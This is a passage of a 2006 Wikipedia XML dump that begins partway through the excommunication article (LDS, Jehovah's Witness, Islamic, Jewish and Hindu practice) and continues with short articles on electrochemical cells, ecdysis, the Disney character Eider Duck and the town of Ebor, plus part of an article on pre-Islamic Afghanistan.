[[Church of Jesus Christ of Latter-day Saints|The Church of Jesus Christ of Latter-day Saints]] (&quot;LDS Church&quot;; see also [[Mormon]]) practices excommunication (as well as the lesser sanctions of disfellowshipping and probation) as penalties for those who commit serious [[sin]]s. 

The decision to excommunicate a [[Melchizedek Priesthood]] holder is generally the province of the leadership of a [[Stake (Mormonism)|Stake]], which consists of several local [[Ward (Mormonism)|wards]]. Excommunications occur only after a formal &quot;church disciplinary council&quot; (what was once called a &quot;church court,&quot; the change was apparently meant to avoid talking about guilt and instead focus on repentance).

The procedure followed by a church disciplinary council is described in church handbooks and the [[Doctrine and Covenants]] [http://scriptures.lds.org/dc/102/9-18#9 Section 102:9-18].  For a regular member, the bishop (leader of the ward) determines whether excommunication is needed.  He does this in consultation with his two counselors, but there is no vote:  the bishop makes the determination in a spirit of prayer.  That decision is appealable to the stake leadership.

A Melchizedek Priesthood holder, however, starts at the stake level.  There, the stake presidency and [[Stake high council|Stake High Council]] handle matters.  Six of the twelve members of the high council are assigned to represent the member in question to &quot;prevent insult or injustice.&quot;  The member is invited to attend, but the council can go forward without him.  Again, the members of the high council consult with the stake president, but the decision about which discipline is necessary is the stake president's alone.  Officially, it is possible to appeal this decision to the Church's world leaders.

Additionally, the Church is led by a President, two counselors, and a Council of Twelve Apostles.  If one of the Church's world leaders (including these fifteen) is accused of sin, this presidency takes the place of the stake president, and the apostles take the place of the stake high council.  That decision is unappealable.

Those who are excommunicated lose the right to take the [[Sacrament (Mormonism)|sacrament]] and lose their church membership. Notices of excommunication may be made public--especially in cases of apostasy, where members could be misled--but the specific reasons for individual excommunications are typically kept confidential.

Persons who have been excommunicated are welcome and encouraged to attend church meetings, but cannot participate in the meetings, cannot enter LDS [[Temple (Mormonism)|temples]], or wear [[temple garment]]s. Excommunicated members may be re-baptized after a waiting period and sincere [[repentance]], as judged by a series of interviews with church leaders.

Excommunication is generally reserved for what are seen as the most serious [[sin]]s, including committing serious [[crime]]s; committing [[adultery]], [[polygamy]], or [[homosexuality|homosexual]] conduct; [[apostasy]], teaching false doctrines, or openly criticizing LDS leaders. In the case of [[apostasy]], false teachings, and being openly critical of LDS leadership, excommunication is often a last resort after repeated warnings.

As a lesser penalty, Latter-day Saints may be disfellowshipped, which does not include a loss of church membership. Once disfellowshipped, persons may not take the sacrament or enter LDS temples, nor may they participate in other church meetings, though disfellowshipped persons may attend most LDS functions and are permitted to wear temple garments. For lesser sins, or in cases where the sinner appears truly repentant, individuals may be put on probation for a time, which means that further sin will result in disfellowshipment or excommunication.

Some critics have charged that LDS leaders have used the threat of excommunication to silence or punish LDS researchers who disagree with established policy and doctrine, or who study or discuss [[Controversies regarding The Church of Jesus Christ of Latter-day Saints|controversial subjects]]. A notable case is the so-called [[September Six]]. 

However, LDS policy dictates that local leaders are responsible for excommunication, without influence from General Church leadership, arguing this policy is evidence against systematic persecution of scholars. In contrast, some claim that LDS leadership keeps watch on certain [[apostate]] groups such as [[Sunstone]] and the message boards at exmormon.org and report on speakers (and topics) to their local leaders. [[Apologist]]s further suggest that some alleged excommunications never take place, or are used as a [[publicity stunt]]. They cite the case of [[Thomas Murphy]], who they say only claimed he was threatened with excommunication or other disciplinary action because of his research of how [[DNA]] research challenges LDS teachings. (''see'' [[Archaeology and the Book of Mormon]]). Recent evidence, such as witnesses at the meeting with the stake president and the letter requesting Murphy's attendance at the court, refute this claim that the disciplinary action was simply a publicity stunt.

=== Jehovah's Witnesses ===
{{main|Practices of Jehovah's Witnesses}}

[[Jehovah's Witnesses]] practice something similar to excommunication—using the term disfellowshipping—in cases where a member violates [[Bible]] requirements as understood by Jehovah's Witnesses.

When a member confesses or is accused of a serious sin, the elders of the congregation form a ''judicial committee'' of three to five local elders. This committee will investigate the case and determine guilt, and if the person is deemed guilty, the committee will determine if the person is repentant. Repentance is completely based upon evidence of repentance, which includes the attitude of being sorry and ‘works befitting repentance,’ as referred to in Acts 26:20 and 2 Corinthians 7:11, such as trying to correct the wrong or making apologies to any offended individuals. A person may even be “brought” to repentance right within the judicial meeting itself, expressing acknowledgment of the wrong with a contrite heart and a resolve not to repeat the offense. These are all just manifestations of true sorrow for the sin committed.

If the person is found guilty and is unrepentant, he will be disfellowshipped. If within 7 days no appeal is made, the disfellowshipping is made formal by an announcement at the next congregation Service meeting.

If the person believes that an error in judgment has been made by the committee, he has the right to appeal during the next 7 days after the initial decision. The traveling overseer responsible for the area will appoint three additional elders comprising an ''appeal committee'' to review the proceedings together with the original committee. This enlarged committee may uphold or reverse the original decision.

After a period of time, a disfellowshipped person may apply to be reinstated into the congregation. The original judicial committee will meet with him to determine repentance, and if this is established, the person will be reinstated into the congregation, but is prohibited from commenting at meetings or holding any privileges for a period set by the judicial committee. (Or, if the applicant is in a different area, the person will meet with a local judicial committee that will communicate with either the original judicial committee if available or a new one in the original congregation.) 

==== Controversy ====

Also recently in the Jehovah's Witness organization, there has been some controversy with their disfellowshipping practices as regard to the recent sex abuse scandals.  Claims of disfellowshipping being used as a punishment to silence outspoken members of the religious group have become numerous.  Although there may have been cases where the directives from the organization were not followed properly, the official position of Jehovah's Witnesses is not to try to silence anyone who has been a recipient or knows of child abuse. They are informed that they have every right, without congregational ramifications, to inform authorities of the child abuse.  In many cases, the law itself requires the elders who are aware of the incident to report the case to the local authorities. In states where this is not required, it is left to the offended parties to do so without any congregational sanctions of any kind against them.  Those who are found guilty of child/sexual abuse are not allowed to teach in or ever again hold a position of authority in the congregation.

==== Apostasy ====

Those who have left the religion for whatever reason, by force or by choice, and make their disagreements with the religion very vocal, according to the Jehovah's Witnesses, are believed to be  [[apostates]].

== Islam ==
{{main|Takfir}}

In [[Islam]], takfir is a declaration deeming an individual 
or group [[kafir]], meaning non-believers.

== Judaism ==
[[Cherem]] is the highest ecclesiastical censure in [[Judaism]]. It is the total exclusion of a person from the [[Jew]]ish community. Except in rare cases in the Ultra-Orthodox community, cherem stopped existing after [[The Enlightenment]], when local Jewish communities lost their political autonomy, and Jews were integrated into the greater gentile nations which they lived in. A fuller discussion of this subject is available in the [[cherem]] article.

== Hinduism ==
Hinduism, being too diverse to be seen as a monolithic religion, and with a conspicuous absence of any listed dogma or ecclesia (organised church), has no concept of excommunication and hence no Hindu may be ousted from the Hindu religion. However, some of the modern organized sects within Hinduism (this might be true for a few of the modern Buddhist sects, too) may practice something equivalent to excommunication today, by ousting a person from their own sect. In medieval and early-modern times (and sometimes even now) in India, excommunication from one's ''[[caste]]'' (''jati'' or ''varna'') used to be practiced (by the caste-councils) and was often with serious consequences, such as abasement of the person's caste status and even throwing him into the sphere of the [[untouchability|untouchables]]. After excommmunication, it would depend upon the caste-council whether they would accept any form of repentence (ritual or otherwise) or not.

== External links ==
*[http://www.gameo.org/index.asp?content=http://www.gameo.org/encyclopedia/contents/E948.html ''Excommunication, the Ban, Church Discipline and Avoidance'' (from Mennonite reference)]
*[http://www.lrz-muenchen.de/~ls_nassehi/ls1/religion_0405_statements/Lee_meaninglessness_of_religion_.pdf ''Ritual and the Social Meaning and Meaninglessness of Religion'' (social science study of Old Order Mennonite methods of baptism, discipline, etc.)]
* [http://www.bepress.com/context/gruterclassics/article/1035/viewcontent/ Ostracism on Trial: The Limits of Individual Rights (Amish)]
* [http://www.newadvent.org/cathen/05678a.htm Catholic Encycopedia on excommunication]
* [http://www.spirithome.com/excommunication.html The two sides of excommunication (Christian source)]

[[Category:Eastern Orthodoxy]]
[[Category:Jehovah's Witnesses]]
[[Category:Latter Day Saint doctrines, beliefs, and practices]]
[[Category:Religious law]]
[[Category:Canon law]]

==Academic articles and reference books==
* Esau, Alvin, J, and Esau, Alvin, A J, ''The Courts and the Colonies: The Litigation of Hutterite Church Disputes'', Univ of British Columbia Press, 2004.
* Gruter, Margaret, and Masters Roger, ''Ostracism: A Social and Biological Phenomenom, (Amish) Ostracism on Trial: The Limits of Individual Rights'', Gruter Institute, 1984.

==Sources==
* Garret, Ruth, Farrant Rick, ''Crossing Over: One Woman's Escape from Amish Life'', HarperSanFrancisco, 2003.

*Hostetler, John A. (1993), ''Amish Society'', The John Hopkins University Pres: Baltimore. 

*MacMaster, Richard K. (1985), ''Land, Piety, Peoplehood: The Establishment of Mennonite Communities in America 1683-1790'', Herald Press: Kitchener &amp; Scottdale. 
 
*Scott, Stephen (1996), ''An Introduction to Old Order and Conservative Mennonite Groups'', Good Books: Intercourse, Pennsylvania.

*Juhnke, James, ''Vision, Doctrine, War: Mennonite Identity and Organization in America, 1890-1930, (The Mennonite Experience in America #3), Scottdale, PA, Herald, Pp 393, 1989.

[[cs:Exkomunikace]]
[[de:Exkommunikation]]
[[et:Ekskommunikatsioon]]
[[es:Excomunión]]
[[eo:Ekskomuniko]]
[[fr:Excommunication]]
[[ia:Excommunication]]
[[id:Ekskomunikasi]]
[[it:Scomunica]]
[[lt:Ekskomunija]]
[[nl:Excommunicatie]]
[[ja:破門]]
[[no:Ekskommunikasjon]]
[[pl:Ekskomunika]]
[[pt:Excomunhão]]
[[fi:Ekskommunikaatio]]
[[sv:Bannlysning]]</text>
    </revision>
  </page>
  <page>
    <title>Electrochemical cell</title>
    <id>10339</id>
    <revision>
      <id>34348918</id>
      <timestamp>2006-01-08T09:14:39Z</timestamp>
      <contributor>
        <username>Physchim62</username>
        <id>254243</id>
      </contributor>
      <comment>mergefrom [[Electrolytic cell]]</comment>
      <text xml:space="preserve">{{mergefrom|Galvanic cell}}
{{mergefrom|Electrolytic cell}}

An '''electrochemical cell''' is a setup used for creating an [[electromotive force]] (voltage) in a conductor separating two reactions. The current is caused by the reactions releasing and accepting [[electron]]s in to the different ends of the conductor. The most common example of an electrochemical cell is a standard 1.5-volt '''[[Battery (electricity)|battery]]'''.

In each ''half-cell'' is a chemical undergoing either [[oxidation]] or [[reduction]]. In a full electrochemical cell, one side must be losing electrons (oxidation) in to its [[electrode]] while the other half-cell gains electrons (reduction). If the atoms/ions involved in the reaction are [[metal]], the same metal is used for each electrode. If the [[atom]]s/[[ion]]s involved in the reaction at each half-cell are not metal, obviously no electrode can be constructed out of it. Nonreactive metals such as [[platinum]] are used as a substitute. Finally, a ''salt bridge'' is necessary to provide electrical contact between the cells&amp;mdash;but without the solutions mixing. This can simply be a strip of [[filter paper]] soaked in saturated potassium nitrate (V) solution. 

Different choices of substances for each half-cell results in varying potential differences. Each reaction is undergoing an [[equilibrium]] reaction between different oxidation states of the ions&amp;mdash;when equilibrium is reached the cell cannot provide further voltage. In the half-cell which is undergoing oxidation, the closer the equilibrium lies to the ion/atom with the more positive oxidation state the more potential this reaction will provide. Similarly, in the reduction reaction, the further the equilibrium lies to the ion/atom with the more ''negative'' oxidation state the higher the potential. 

This potential can be predicted quantitatively through the use of [[electrode potential]]s (the voltage measured when the substance is connected to [[hydrogen]]). The difference in voltage between electrode potentials gives a prediction for the potential measured.

See also: [[galvanic cell]]

See also: [[electrochemical potential]]


[[Category:Electrochemistry]]

[[es:Célula electrolítica]]
[[fr:Pile électrique]]
[[pt:Célula electroquímica]]
[[sv:Elektrokemisk cell]]</text>
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  </page>
  <page>
    <title>Ecdysis</title>
    <id>10340</id>
    <revision>
      <id>37878144</id>
      <timestamp>2006-02-02T19:02:05Z</timestamp>
      <contributor>
        <username>DropDeadGorgias</username>
        <id>8903</id>
      </contributor>
      <comment>+dablink, +cat</comment>
      <text xml:space="preserve">{{dablink|This article is about the molting of certain arthropods.  A [[2005 in music|2005]] album by the same name was released by '''[[Miho Hatori]]'''.}}

'''Ecdysis''' is the [[molt]]ing of the [[cuticula]] in [[arthropod]]s and related groups ([[Ecdysozoa]]). Since the cuticula of these animals is also the skeletal support of the body and is inelastic, it is shed during growth and a new covering of larger dimensions is formed. In preparation for ecdysis the arthropod will become inactive for a period of time. During this time, the arthropod will undergo [[apolysis]]. Then, by crawling movements, it pushes forward in the old [[Integumentary system|integument]], which splits down the back allowing the animal to emerge. Often times this initial crack within the integumentary shell will be caused by an increase in blood pressure within the body (in combination with movement), forcing an expansion across its exoskeleton, leading to an eventual crack that allows for certain organisms such as [[spider]]s to extricate themselves from. For most organisms, the resting period is used as a stage of preparation in the secretion of fluid from the molting glands of the cellular layer and the loosening of the underpart of the cuticula occurs. Following the shedding of the old cuticula, a new layer is secreted during a second period of inactivity. All cuticular structures are shed at ecdysis, including the terminal linings of the [[alimentary tract]] and of the [[trachea]]e if they are present.

The molting of [[reptile]]s is sometimes called ecdysis.

Related to the word ''ecdysis'' is ''ecdysiast,'' a [[euphemism]] for a [[striptease]] dancer.

[[de:Häutung]]
[[nl:Vervelling]]
[[ja:脱皮]]
[[pt:Ecdise]]

[[Category:Developmental biology]]</text>
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  </page>
  <page>
    <title>Expendable launch systems</title>
    <id>10341</id>
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      <timestamp>2002-04-14T00:40:42Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
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      <comment>*#redirect [[Expendable launch system]]</comment>
      <text xml:space="preserve">#redirect [[Expendable launch system]]</text>
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  </page>
  <page>
    <title>Eider Duck</title>
    <id>10342</id>
    <revision>
      <id>28601893</id>
      <timestamp>2005-11-17T16:44:23Z</timestamp>
      <contributor>
        <username>Supermorff</username>
        <id>239586</id>
      </contributor>
      <text xml:space="preserve">:''This article is about a [[fictional character]]; for information on real eider ducks, see [[Eider]] and [[Common Eider]].''

'''Eider Duck''' is a fictional [[duck]] published in [[Walt Disney]]'s [[comic book]]s, and is the uncle of [[Donald Duck]]. 

Eider was first mentioned in [[August]] [[1944]] in the story &quot;The Fighting Falcon&quot; by [[Carl Barks]]. In this story, Donald receives a [[falcon]] as a present by his uncle Eider who does not live in [[Duckburg]]. Barks never mentioned Eider again but [[Keno Don Rosa|Don Rosa]] decided to include him in his Duck Family Tree. 

According to Rosa, Eider is the son of [[Humperdink Duck]] and [[Elvira Coot]]. Eider worked on his parents' farm until at least [[1902]]. He later married [[Lulubelle Loon]] and became the father of three sons:
*[[Abner Duck|Abner &quot;Whitewater&quot; Duck]].
*[[Fethry Duck]].
*[[Gipfel Duck]].

It is presumed that he was a falcon trainer. It is unknown when (per Don Rosa's timeline) exactly he died.

[[Category:Characters in the Scrooge McDuck universe|Duck, Eider]]
[[Category:Fictional ducks|Duck, Eider]]

[[it:Eider Duck]]</text>
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  </page>
  <page>
    <title>Ebor, New South Wales</title>
    <id>10343</id>
    <revision>
      <id>38868863</id>
      <timestamp>2006-02-09T04:01:43Z</timestamp>
      <contributor>
        <username>Titoxd</username>
        <id>227287</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/165.228.129.12|165.228.129.12]] ([[User talk:165.228.129.12|talk]]) to last version by Can't sleep, clown will eat me</comment>
      <text xml:space="preserve">'''Ebor''' is a small town in northern [[New South Wales]], [[Australia]], situated about 88km (about 55mi) east of [[Armidale, New South Wales|Armidale]], and about one third of the way between [[Armidale, New South Wales|Armidale]] and the coast. Population in the year 2000 is about 50. There is a general store, a pub, and a primary school.

Ebor is at fairly high altitude, about 1350 metres, and by Australian standards has cold winters with overnight frost and occasional light snow falls.

The surrounding district has sheep grazing and some tourism. The main tourist attractions are several spectacular waterfalls ([[Ebor Falls]], [[Wollomombi Falls]]), the cool temperate rain-forest walks in [[New England National Park]] and recreational trout fishing.

There is some dispute as to whether Ebor should be known as a [[town]].  Given the size of it at best it could claim to be a [[village]] however in reality it would be more appropriate to refer to it as a [[hamlet (place)|hamlet]].  This situation has arisen from wide spread ignorance of the terms of populated areas.  On another scale [[cities]] that are located in rural areas are usually wrongfully referred to as [[towns]] by sole virtue of the fact that they happen to be located in these rural areas.

[[Category:Towns in New South Wales]]
{{NewSouthWales-geo-stub}}</text>
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  <page>
    <title>Pre-Islamic period of Afghanistan</title>
    <id>10344</id>
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      <id>41545759</id>
      <timestamp>2006-02-28T01:46:01Z</timestamp>
      <contributor>
        <username>Siddiqui</username>
        <id>308269</id>
      </contributor>
      <comment>/* External links and References */</comment>
      <text xml:space="preserve">{{History of Afghanistan}}


[[Archaeology|Archaeological]] exploration began in [[Afghanistan]] in earnest after [[World War II]] and proceeded until the [[Soviet invasion of Afghanistan]] disrupted it in December of [[1979]]. Artifacts typical of the [[Paleolithic]], [[Mesolithic]], [[Neolithic]], [[Bronze Age|Bronze]], and [[Iron Age|Iron]] ages were found. 

==Prehistory==

It is not yet clear, however, to what extent these periods were contemporaneous with similar stages of development in other geographic regions. The area that is now Afghanistan seems in prehistory - as well as ancient and modern times - to have been closely connected by culture and trade with the neighboring regions to the east, west, and north. Urban civilization in the [[Iranian plateau]], which includes most of [[Iran]] and Afghanistan, may have begun as early as 3000 to 2000 BCE (see also [[Bactria-Margiana Archaeological Complex]]). Archaelogical finds also indicate the possible beginnings of the Bronze Age which would ultimately spread throughout the ancient world from Afghanistan. It is also believed that the region had early trade contacts with both the [[Indus Valley Civilization]] and [[Mesopotamia]] and that the ancient city of [[Mudigak]] may have even been a provincial colony of the Indus Valley Civilization or closely affiliated, but this remains largely circumstantial and speculative.

==Ancient Afghanistan: From the Aryans to the Medes. [[1500 BCE]] - [[551 BC|551 BCE]]==
[[Image:Median Empire.jpg|thumb|200px|right|Median Empire]]
Between 2000-1200 BCE, a branch of [[Indo-European]]-speaking tribes known as the [[Aryans]] or [[Indo-Iranians]] began migrating into the region. They appear to have split into [[Iranian peoples|Iranian]], [[Nuristani]], and [[Indo-Aryans|Indo-Aryan]] groups at an early stage, possibly between 1500 and 1000 BCE in what is today Afghanistan or much earlier as eastern remnants of the Indo-Aryans drifted much further west as with the [[Mitanni]]. The Iranians and Nuristanis dominated the [[Iranian plateau]], while the Indo-Aryans ultimately headed towards the [[Indian subcontinent]], but probably not before establishing some early civilization in what is today eastern Afghanistan and western Pakistan. The [[Avesta]] is believed to have been composed possibly as early as 1800 BCE and written in ancient [[Ariana]] (Aryana), possibly the earliest name of Afghanistan which indicates an early link with Iranian tribes to the west, or adjacent regions in Central Asia or northeastern Iran in the 6th century BCE.[http://www.people.fas.harvard.edu/~witzel/EJVS-7-3.pdf] Due to the similarity between early Avestan and [[Sanskrit]] (and other related early Indo-European languages such as [[Latin]] and [[Ancient Greek]]), it is believed that the split between the Iranian and Indo-Aryan tribes had taken place at least by 1000 BCE. There are striking similarities between the Eastern Iranian language of [[Avestan]] and [[Sanskrit]], which may support the notion that the split was contemporary with the Indo-Aryans living in Afghanistan at a very early stage. Also, the Avesta itself divides into Old and New sections and neither mention the [[Medes]] who are known to have rule Afghanistan starting around 700 BCE. This suggests an early time-frame for the Avesta that has yet to be exactly determined as most academics believe it was written over the course of centuries if not millennia. Much of the archaelogical data comes from the [[Bactria-Margiana Archaeological Complex]] (BMAC) that probably played a key role in early Iranic civilization in Afghanistan.

It has also been surmised by many researchers that the Iranian prophet [[Zoroaster]] was born somewhere in ancient Aryana, possibly in the ancient city of [[Balkh]], but it remains unknown even if he was born in what is today Afghanistan or northeastern Iran or Central Asia and the timeframe of his life literally spans millennia from as early 2000 BCE to as late as 600 BCE. Regardless, Zoroastrianism spread throughout the region alongside early pagan beliefs and centuries later Buddhism. 

During this early period, the [[Pashtuns]] or some of their early Eastern Iranian ancestors are believed to have originated near the vicinity of [[Kandahar]] and/or the [[Sulaiman Mountains]] and possibly begun to expand into other parts of Afghanistan. Herodotus mentions a tribe called the Pactyan as inhabiting much of what is today Afghanistan and northwestern Pakistan and it is speculated by some that these people were the ancient ancestors of the Pashtuns, although, aside from phoenetic name similarities, this remains unproven. Others such as [[Strabo]] relate the existence of tribes west of the [[Indus]] as part of [[Ariana]], while the east is referred to as 'India', but it is not clear whether or not various Pashtun tribes are what Strabo is referring to. [[Arrian]]'s ''Indica'' also makes reference to various wild tribes west of the Indus who may or may not have been ancestors of the Pashtuns. The [[Rig Veda]] makes mention of a group called the ''Pakhat'' and it is possible that either this is a reference to the ancestors of the Pashtuns or a reference to an [[Indo-Aryan languages|Indo-Aryan]]-speaking group or some other tribe altogether. Mainly pagan at first, many Pashtuns appear to have adopted [[Buddhist]] and [[Zoroastrian]] traditions due to contact with both Iranic and Indic cultural influences, while other eastern Afghans may have remained pagans not unlike their neighbors the [[Kafirs]] of [[Nuristan]] as well as the [[Kalash]]. 

The [[Medes]], a Western Iranian people, arrived from what is today [[Kurdistan]] sometime around the 700s BCE and came to dominate most of ancient Afghanistan. They were an early Iranian tribe that forged the first empire on the Iranian plateau and were rivals of the Persians whom they initially dominated in the province of [[Fars]] to the south. Median domination of Afghanistan would last until the [[Persians]] challenged and ultimately replaced them from their original base in [[Fars]] in southern Iran near ancient [[Elam]].

== Early Indo-Aryans prior to their move to India ==
In the region around what is today [[Kabul]] and eastern Afghanistan, an early [[Indo-Iranian]] or specifically some early [[Indo-Aryans|Indo-Aryan]] culture may have emerged as eastern Afghanistan could possibly have been either the site of the [[Vedic civilization]], that later came to influence and dominate the culture of northern India, or had links to it somewhere to the east either along the [[Indus]] or [[Ganges]] river valleys.[http://koenraadelst.voiceofdharma.com/reviews/kochhar.html] At some point that has yet to be determined, but possibly between 12th to 8th century BCE, [[Gandhara]] and [[Kamboja]], two of the sixteen [[Mahajanapadas]] (in Sanskrit 'Great Kingdoms') frequently referred to in [[Buddhist]] and [[Hindu]] religious texts are believed to have evolved as important political entities in what is today eastern Afghanistan. Many scholars believe that while the Gandharans were early [[Indo-Aryan languages|Indo-Aryan]]-speakers, the [[Kambojas]] were either [[Iranian peoples|Iranian]] or [[Indo-Iranian]]-speaking. Both groups find frequent mention in numerous ancient [[Sanskrit]] and [[Pāli|Pali]] texts, in particular the [[Mahabharata]] and numerous [[Puranic]] literature. [[Alexander the Great|Alexander]]’s historians refer to the tribal population of [[Paropamisadae]] as consisting of such clans as the Parsyetae (Parshu/Parshava), Aspasii ([[Aspasians]]), Asteknois ([[Hastiyanas]]) and Assakenois ([[Ashvakas|Ashvakana]]s) etc. This nomenclature possibly demonstrates that while most of this [[tribe|tribal]] population was Iranian, there were also some population segments which may have spoken early Indo-Aryan tongues prior to their movements to India. This is because while the tribal name Parsyete implies Iranian affinities and the Aspasii (derived from Iranian word Aspa) also indicates an Iranian horse culture, the Assakenois (Sanskrit Ashvakan) of the [[Swat]] valley, on the other hand, were possibly an Indo-Aryan horsemen culture as their name derives from the [[Sanskrit]] Ashva (horse). The Aspasian peoples are believed to be the western branch of the Ashvakas or Assakenians (''Political history of Ancient India, 1996, p 216; Cambridge History of India, 352, n 3''). 

The [[Assakenois]] and [[Aspasios]] of the classical writings or the [[Ashvakas]] of the Sanskrit texts are believed by numerous scholars to have been sub-sections of the ancient Kambojas in reference to their equestrian nature. See for this Dr E. Lamotte, Dr K. P. Jayswal, Dr Buddha Parkash, Dr L. M. Joshi, Dr Fauja Singh, Dr H. C. Raychaudhury, Dr B . N. Mukerjee, Dr Romila Thapar, Dr J. L. Kamboj, and several others. 

The rock [[edict]] V of king [[Ashoka]] found at Shahbazgarhi and Mansehra prominently refers to the [[Yona]]s (Ionian Greeks), Kambojas and [[Gandhara]]s, while rock edict XIII refers to the Greeks and Kambojas ('''Yonakambojesu''') as people of the western frontiers. It is noteworthy that Ashoka’s rock edicts/inscriptions written exclusively in [[Aramaic language|Aramaic]] have been discovered only in the [[Paropamisadae]]  (region between river [[Kabol]] and [[Hindukush]] Mt), while those in [[Greek language|Greek]] and Aramaic were discovered in [[Arachosia]] (south-east Afghanistan) and in Prakrit and Aramaic in Gandhara region (Peshawer to Rawalpindi). Scholars believe that the Greek version of Ashokan inscriptions was intended for the Yonas (the Greeks or Graeco-Iranians), the Prakrit version for the Indo-Aryan Gandharas, while the Aramaic version was directed at the Kambojas (See: ''Aramaic edicts of Ashoka, 1980, p 66, notes 11-13;  Political History of Ancient India, 1996, pp 610-13;  Scerrato in Pugliese Carratelli and Garbini, 1964, 14-15;  Colloque, L’Archeologie de l'empire achemenide, Paris, Nov, 21-22, 2003'' etc). This shows that Paropamisadae region---an Aramaic territory, was inhabited by Iranian Kambojas as the Aramaic was an official language for the Iranian tribes under [[Achaemenid]] rulers. Moreover, as a Greco-Aramaic inscription (known as Shar-i-Kuna inscription) was discovered in 1957 in Kandhahar also, this, according to some scholars, may attest that a section of the Aramaic knowing Kambojas (or other Iranian tribes) were also possibly located north of [[Kandhahar]] as neighbors to the Greeks. Dr Michael Witzel identifies the region from [[Kabol]] valley to as far as [[Kandhahar]] as inhabited by the Kambojas (''Early Eastern Iran and the Atharvaveda, Persica-9, 1981, pp 86-123'').  The compound expression '''Yonakambojesu''' of Ashoka’s Rock Edict XIII as well as of Buddhist Majjhima Nikaya (43.1.3), powerfully supports this view. It is now generally accepted by many [[Indic]] scholars that the Kambojas were an early [[Iranian people]] who may have been partially absorbed into larger Iranian tribes in Afghanistan and/or else partially forced to move east where they were further absorbed into the populations of what is today northern Pakistan and India [http://en.wikipedia.org/wiki/Migration_of_Kambojas]. Current minuscule population of [[Kamboj]], [[Kamboh]] and [[Kamoz]], the modern representatives of ancient Kambojas, in [[India]], [[Pakistan]] and [[Afghanistan]] is estimated to be approximately around 1.5 millions. 

The [[chronology]] of major events and corresponding [[archaeology]] remains highly sporadic as does the religious connotation which remains unverifiable.

== Achaemenid Rule, and rise of Zoroastrianism ca. [[550 BC|550 BCE]] - [[331 BCE]] ==
[[Image:Achaemenid Empire.jpg|right|thumb|200px|Achaemenid empire at its greatest extent]]
The city of [[Bactria]] (which later became [[Balkh]]), is believed to have been the home of [[Zoroaster|Zarathustra]], who founded the [[Zoroastrianism|Zoroastrian]] religion. The [[Avesta]] refers to eastern Bactria as being the home of the Zoroastrian faith, but this can be a reference to either a region in modern Afghanistan or northeastern Iran. Regardless of the debate as to where Zoroaster was from, Zoroastrianism spread to become one of the world's most influential religions and became the main faith of the southern [[Iranian peoples]] for centuries. It remained the official religion of Persia until the defeat of the Sassanian ruler [[Yazdegerd III]] (over a thousand years after its founding) by Muslim [[Arab]]. In what is today southern Iran, the Persians emerged to challenge Median supremacy on the Iranian plateau. By 550 BCE, the Persians had replaced Median rule with their own dominion and even began to expand past previous Median imperial borders.  Both [[Gandhara]] and [[Kamboja]] Mahajanapadas of the Buddhist texts soon fell a prey to the Achaemenian Dynasty during the reign of Achaemenid, [[Cyrus the Great]] (558-530 BCE), or in the first year of [[Darius I]]. According to [[Pliny the Elder|Pliny]]'s evidence, Cyrus II had destroyed Kapisa in Capiscene (Naturalis Historia, VI, 25, 92) which was a Kamboja city. The former region of Gandhara and Kamboja (upper Indus) had constituted seventh satrapy of the Achaemenid Empire and annually contributed 170 talents of gold dust as a tribute to the Achaemenids. 

[[Bactria]] had a special position in the Persian empire, being the capital of a vice-kingdom. By the fourth century BCE, Persian control of outlying areas and the internal cohesion of the empire had become somewhat tenuous. Although distant provinces like Bactriana had often been restless under Achaemenid rule, Bactrian troops nevertheless fought on the Iranian side in the decisive [[Battle of Gaugamela]] in [[330 BCE]] against the advancing armies of [[Alexander III]] (also known as 'the Great'). The Achaemenids were decisively defeated by [[Alexander the Great]] and retreated from his advancing army of Greco-Macedonians and their Iranian allies. [[Darius III]], the last Achaemenid ruler, tried to flee to Bactria, but was assassinated by a subordinate lord, the Bactrian-born [[Bessus]], who proclaimed himself the new ruler of Persia as [[Artaxerxes]], but was unable to mount a successful resistance to the growing military might of Alexander's army. Fleeing to his native Bactria, Bessus attempted to rally local Iranian tribes to his side, but was instead turned over to Alexander who proceeded to have him tortured and executed for having committed [[regicide]].

== Alexander the Great, Seleucid-Mauryan rivalry, and Greco-Bactrian Rule, [[330 BCE]] - ca. [[150 BCE]] ==
[[Image:Map-alexander-empire.png|thumb|200px|right|Map of Alexander's empire.]]
It had taken [[Alexander the Great|Alexander]] only six months to conquer Iran, but it took him nearly three years (from about [[330 BCE]] - [[327 BCE]]) to subdue the area that is now [[Afghanistan]] and the adjacent regions of the former [[Soviet Union]]. Moving eastward from the area of Herat, the Macedonian leader encountered fierce resistance from the local rulers of what had been Iranian satraps which were the early eastern Iranian sub-tribes of the [[Kambojas]] (i.e. [[Aspasios|Aspasio]] and [[Assakenois|Assakenoi]] clans) as well as the ancestors of the [[Pushtuns]]. In a letter to his mother, Alexander described his encounters with the eastern Iranians thus: ''&quot;I am involved in the land of a 'Leonine' (lion-like) and brave people, where every Foot of the ground is like a well of steel, confronting my soldier.  You have brought only one son into the world, but Everyone in this land can be called an Alexander.”'' Local resistance and the difficult terrain made it difficult for Alexander's forces to subdue the region as many invaders have found the mountainous terrain of Afghanistan similar to a maze that often trapped outside invaders. Alexander also met his Bactrian/[[Sogdian]] bride, [[Roxana]] (who was reportedly born in Balkh), while trying to consolidate his rule over ancient Afghanistan and adjacent regions in Central Asia. Their union reportedly produced one sole heir, [[Alexander IV of Macedon|Alexander IV]], who was later killed in Greece by [[Cassander]]. Although Alexander's expedition through ancient Afghanistan was brief, he left behind a [[Hellenic]] cultural influence that lasted several centuries.

Upon Alexander's death in [[323 BCE]], his empire, which had never been politically consolidated, broke apart as his companions began to divide it amongst themselves. Alexander's cavalry commander, [[Seleucus]], took nominal control of the eastern lands and founded the [[Seleucid Empire|Seleucid]] dynasty. Under the Seleucids, as under Alexander, Greek colonists and soldiers colonized Bactria, roughly corresponding to modern Afghanistan's borders. However, the majority of Macedonian soldiers of Alexander the Great wanted to leave the east and return home to Greece. Later, Seleucus sought to guard his eastern frontier and moved [[Ionian]] Greeks (also known as [[Yavanas]] to many local groups) to Bactria in the third century BCE. During the colonization of Bactria, the [[Mauryan dynasty|Mauryan Empire]] was developing in the northern part of the [[Indian subcontinent]] and following brief conflict with the Seleucids, an agreement was reached as Seleucus ceded Gandhara and [[Arachosia]] (centered around ancient Kandahar) and areas south of [[Bagram]] (corresponding to the extreme south-east of modern Afghanistan) to the Mauryans. During the somewhat brief rule of the Mauryans in ancient Afghanistan, Buddhism was introduced and eventually become a major religion if not the dominant faith alongside Zoroastrianism in ancient Afghanistan. 

